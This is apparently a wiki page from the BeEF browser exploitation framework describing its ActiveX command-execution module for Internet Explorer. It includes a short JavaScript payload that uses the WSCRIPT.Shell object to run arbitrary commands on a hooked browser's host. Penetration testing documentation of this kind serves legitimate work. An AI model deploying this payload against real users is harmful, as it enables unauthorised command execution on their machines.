Skip to content

Module: ActiveX Command Execution

Haoxi Tan edited this page Jan 8, 2020 · 2 revisions

Summary

  • Objective: execute arbitary commands using WSCRIPT.Shell object

  • Authors: bcoles

  • Browsers: IE

  • Code

Internal Working

Execute arbitrary commands using the "WSCRIPT.Shell" object. The command response is not returned to BeEF.

The browser must have "Initialize and script ActiveX controls not marked as safe for scripting" enabled.

try {
        var shell = new ActiveXObject('WSCRIPT.Shell').Run(cmd);
        if (shell.toString() == 0) {
                result = "command sent";
        } else {
                result = "command failed";
        }
}

Feedback

Clone this wiki locally